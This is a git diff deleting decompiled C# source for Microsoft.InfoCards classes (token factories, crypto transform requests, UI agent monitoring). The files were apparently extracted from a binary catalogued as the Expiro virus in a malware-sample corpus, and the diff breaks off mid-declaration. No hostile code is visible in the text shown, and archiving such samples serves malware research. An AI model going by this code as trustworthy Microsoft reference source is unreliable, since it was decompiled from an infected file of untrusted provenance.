a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredentialType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredentialType.cs deleted file mode 100644 index dce4dba7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredentialType.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredentialType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum TokenFactoryCredentialType - { - LocalCredential = -1, // 0xFFFFFFFF - Invalid = 0, - UserNamePasswordCredential = 1, - SelfIssuedCredential = 2, - X509CertificateCredential = 3, - KerberosCredential = 4, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryFactory.cs deleted file mode 100644 index b0a07089..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryFactory.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Net; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal sealed class TokenFactoryFactory - { - private TokenFactoryFactory() - { - } - - public static ITokenFactory Create( - InfoCard infoCard, - TokenCreationParameter parameter, - ServiceEndpoint endPoint, - IWebProxy proxy) - { - return !infoCard.IsSelfIssued ? (ITokenFactory) new RemoteTokenFactory(endPoint, proxy) : (ITokenFactory) new SelfIssuedSamlTokenFactory(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformBlockRequest.cs deleted file mode 100644 index 7b32d00f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformBlockRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - private int m_outBlockSize; - - public TransformBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlockSize = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformBlock(this.m_inBlock, out this.m_outBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.OutArgs, "OutArgs"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_outBlock, "outBlock"); - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock, 0, this.m_outBlockSize); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformCryptoSession.cs deleted file mode 100644 index d3f8a343..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformCryptoSession.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformCryptoSession : CryptoSession - { - private ICryptoTransform m_icrypto; - - public TransformCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - ICryptoTransform icrypto) - : base(process, expiration, identity, (object) icrypto, CryptoSession.SessionType.Transfrom) - { - this.m_icrypto = icrypto; - } - - protected override void OnDispose() => this.m_icrypto.Dispose(); - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_icrypto.InputBlockSize); - bwriter.Write(this.m_icrypto.OutputBlockSize); - bwriter.Write(this.m_icrypto.CanTransformMultipleBlocks); - bwriter.Write(this.m_icrypto.CanReuseTransform); - } - - public int TransformBlock(byte[] inData, out byte[] outData) - { - outData = new byte[this.m_icrypto.OutputBlockSize]; - return this.m_icrypto.TransformBlock(inData, 0, inData.Length, outData, 0); - } - - public byte[] TransformFinalBlock(byte[] inData) => this.m_icrypto.TransformFinalBlock(inData, 0, inData.Length); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformFinalBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformFinalBlockRequest.cs deleted file mode 100644 index e379148e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformFinalBlockRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformFinalBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformFinalBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public TransformFinalBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformFinalBlock(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TrustExchangeException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TrustExchangeException.cs deleted file mode 100644 index b616e223..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TrustExchangeException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TrustExchangeException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TrustExchangeException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public TrustExchangeException() - : base(-1073413871) - { - } - - public TrustExchangeException(string message) - : base(-1073413871, message) - { - } - - public TrustExchangeException(string message, Exception inner) - : base(-1073413871, message, inner) - { - } - - protected TrustExchangeException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs deleted file mode 100644 index 1c5e4ea9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncBeginRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncBeginRequest : UIAgentRequest - { - private SafeWaitHandle m_agentEventHandle; - private int m_asyncHandle; - - public UIAgentAsyncBeginRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override sealed void OnMarshalInArgs() - { - IntPtr zero = IntPtr.Zero; - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - using (SafeWaitHandle hRemote = new SafeWaitHandle(Utility.ReadHandle(binaryReader), false)) - this.m_agentEventHandle = Utility.GetLocalHandleFromRemoteHandle(hRemote, this.ParentRequest.UIAgentPid); - this.OnMarshalAsyncInArgs(binaryReader); - } - - protected virtual void OnMarshalAsyncInArgs(BinaryReader reader) - { - } - - protected override void OnProcess() - { - AsyncParams asyncParams = this.CreateAsyncParams(); - asyncParams.AsyncResult.CancelCallback = new RpcAsyncResult.AsyncCancelCallback(this.AsyncCancel); - InfoCardTrace.Assert(null != asyncParams, "Null AsyncParams"); - try - { - this.m_asyncHandle = asyncParams.AsyncResult.Handle; - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async context handle"); - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(this.AsyncEntry)), (object) asyncParams)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - } - catch - { - asyncParams.AsyncResult.Dispose(); - throw; - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - binaryWriter.Write(this.m_asyncHandle); - } - - protected override void OnDisposeAsUser() - { - if (this.m_agentEventHandle == null) - return; - this.m_agentEventHandle.Dispose(); - this.m_agentEventHandle = (SafeWaitHandle) null; - } - - protected virtual AsyncParams CreateAsyncParams() - { - AsyncParams asyncParams = (AsyncParams) new UIAgentAsyncParams(this.GetType().Name, (ClientRequest) this.ParentRequest, this.m_agentEventHandle, (UIAgentRequest) this); - this.m_agentEventHandle = (SafeWaitHandle) null; - return asyncParams; - } - - protected abstract object AsyncExecute(AsyncParams asyncParam); - - protected abstract void AsyncCancel(); - - private void AsyncEntry(object state) - { - AsyncParams asyncParam = (AsyncParams) state; - try - { - if (asyncParam.AsyncResult.IsCanceled) - asyncParam.AsyncResult.Exception = (Exception) new Win32Exception(1223); - else - asyncParam.AsyncResult.Result = this.AsyncExecute(asyncParam); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - asyncParam.AsyncResult.Exception = ex; - } - asyncParam.AsyncResult.Complete(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs deleted file mode 100644 index 6b2525ff..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncEndRequest : UIAgentRequest - { - private int m_asyncHandle; - private bool m_isCompleted; - private object m_result; - private bool m_isCancelled; - - public UIAgentAsyncEndRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - public object Result - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_result; - } - } - - public bool IsCancelled - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_isCancelled; - } - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - } - - protected override void OnProcess() - { - using (RpcAsyncResult rpcAsyncResult = this.ParentRequest.WaitForAsyncCompletion(this.m_asyncHandle)) - { - this.m_isCancelled = rpcAsyncResult.IsCanceled; - if (!this.m_isCancelled) - this.m_result = rpcAsyncResult.Result; - } - this.m_isCompleted = true; - } - - protected override sealed void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.IsCancelled); - if (this.IsCancelled) - return; - this.OnMarshalAsyncOutArgs(writer); - } - - protected virtual void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncParams.cs deleted file mode 100644 index 96d7e85a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncParams.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal class UIAgentAsyncParams : AsyncParams - { - private UIAgentRequest m_agentRequest; - - public UIAgentAsyncParams( - string opType, - ClientRequest request, - SafeWaitHandle externEvent, - UIAgentRequest agentRequest) - : base(request, opType, externEvent) - { - this.m_agentRequest = agentRequest; - } - - public UIAgentRequest AgentRequest => this.m_agentRequest; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentCrashedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentCrashedException.cs deleted file mode 100644 index 6859e0ad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentCrashedException.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentCrashedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class UIAgentCrashedException : Exception - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentInitializationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentInitializationException.cs deleted file mode 100644 index c7e3bd6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentInitializationException.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentInitializationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UIAgentInitializationException : InfoCardBaseException - { - private const int HRESULT = -1073413862; - - public UIAgentInitializationException() - : base(-1073413862) - { - } - - protected UIAgentInitializationException(SerializationInfo si, StreamingContext sc) - : base(-1073413862, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitor.cs deleted file mode 100644 index b3d4f84b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitor.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitor - { - private static UIAgentMonitor s_singleton = (UIAgentMonitor) null; - private static object s_syncRoot = new object(); - private Dictionary m_currentCallingUsers; - private Dictionary m_currentTSSessions; - - private UIAgentMonitor() - { - this.m_currentCallingUsers = new Dictionary(); - this.m_currentTSSessions = new Dictionary(); - } - - public static UIAgentMonitor Instance() - { - if (UIAgentMonitor.s_singleton == null) - { - lock (UIAgentMonitor.s_syncRoot) - { - if (UIAgentMonitor.s_singleton == null) - UIAgentMonitor.s_singleton = new UIAgentMonitor(); - } - } - return UIAgentMonitor.s_singleton; - } - - public void AddNewClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (this.m_currentCallingUsers.ContainsKey(userName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - if (this.m_currentTSSessions.ContainsKey(tsSessionId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - this.m_currentCallingUsers.Add(userName, handle); - try - { - this.m_currentTSSessions.Add(tsSessionId, handle); - } - catch (Exception ex) - { - this.m_currentCallingUsers.Remove(userName); - throw; - } - } - } - - public void RemoveClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (!string.IsNullOrEmpty(userName) && this.m_currentCallingUsers.ContainsKey(userName) && handle == this.m_currentCallingUsers[userName]) - this.m_currentCallingUsers.Remove(userName); - if (!this.m_currentTSSessions.ContainsKey(tsSessionId) || handle != this.m_currentTSSessions[tsSessionId]) - return; - this.m_currentTSSessions.Remove(tsSessionId); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitorHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitorHandle.cs deleted file mode 100644 index 23c36c8a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitorHandle.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitorHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitorHandle : IDisposable - { - private InfoCardUIAgent m_agent; - private string m_username; - private int m_tsSessionId; - - public string UserName => this.m_username; - - public int TsSessionId => this.m_tsSessionId; - - public InfoCardUIAgent CreateAgent( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - this.m_username = callerIdentity.User.ToString(); - this.m_tsSessionId = tsSessionId; - UIAgentMonitor.Instance().AddNewClient(this); - this.m_agent = InfoCardUIAgent.Create(callerPid, callerIdentity, tsSessionId); - return this.m_agent; - } - - void IDisposable.Dispose() => UIAgentMonitor.Instance().RemoveClient(this); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentRequest.cs deleted file mode 100644 index 646734dc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentRequest.cs +++ /dev/null @@ -1,138 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentRequest : Request - { - private ClientUIRequest m_parentRequest; - - public UIAgentRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : this(rpcHandle, inArgs, outArgs, parent, ExceptionList.Empty) - { - } - - public UIAgentRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent, - ExceptionList exceptionList) - : base(rpcHandle, inArgs, outArgs, exceptionList) - { - this.m_parentRequest = parent; - } - - public ClientUIRequest ParentRequest => this.m_parentRequest; - - protected InfoCardUIAgent UIAgent => this.ParentRequest != null ? this.ParentRequest.UIAgent : (InfoCardUIAgent) null; - - public static uint 